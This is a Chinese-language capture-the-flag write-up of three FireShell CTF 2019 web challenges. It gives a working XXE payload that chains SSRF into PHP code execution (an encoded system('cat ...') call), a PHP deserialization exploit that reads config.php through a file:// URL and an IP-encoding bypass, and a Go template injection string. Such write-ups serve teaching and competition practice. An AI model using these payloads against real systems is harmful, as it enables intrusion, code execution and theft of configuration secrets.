FireShell CTF 2019 Web部分
Bad Injections
根據URL可以猜測存在任意檔案下載漏洞並且hash值為file的md5加密,根據提示下載原始碼
在路由檔案中發現幾個關鍵點
跟進這個類發現存在XXE
這裡想到還有一個只能通過SSRF才能訪問到的admin,於是跟進admin檔案發現存在程式碼執行
於是想到利用XXE來構造這個程式碼執行,這裡要注意的是伺服器出現 }
就會報 parser error : Invalid URI
,所以我們需要編碼一下。最終payload
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ENTITY xxe SYSTEM "http://localhost/admin?rss=http://www.lovei.org/sitemap.xmlℴ=%6c%69%6e%6b%29%3b%7d%73%79%73%74%65%6d%28%22%63%61%74%20%2f%64%61%30%66%37%32%64%35%64%37%39%31%36%39%39%37%31%62%36%32%61%34%37%39%63%33%34%31%39%38%65%37%22%29%3b%2f%2f" >]> <root> <name>&xxe;</name> </root>
Vice
題目思路應該蠻明確反序列+SSRF,這裡有幾個限制所以我們使用file協議讀檔案, 127.0.0.2
繞過 127.0.0.1
的檢測,然後將ip十進位制編碼繞過 .
檢測最後進入URL編碼
<?php class SHITS{ private $url; private $method; function __construct(){ $this->method = "doit"; $this->url = "file://2130706434/var/www/html/config%2ephp"; } } $a = new SHITS(); echo urlencode(serialize($a)); ?>
最終payload:
http://68.183.31.62:991/?gg=O%3A5%3A%22SHITS%22%3A2%3A%7Bs%3A10%3A%22%00SHITS%00url%22%3Bs%3A43%3A%22file%3A%2F%2F2130706434%2Fvar%2Fwww%2Fhtml%2Fconfig%252ephp%22%3Bs%3A13%3A%22%00SHITS%00method%22%3Bs%3A4%3A%22doit%22%3B%7D
Super-easy web dog
這道題一開始沒做出來,最後知道真相的我眼淚掉下來
看到這個之後果斷跑去題目試了 {{$.Request}}
然後???然後這就出來了?眼淚掉了下來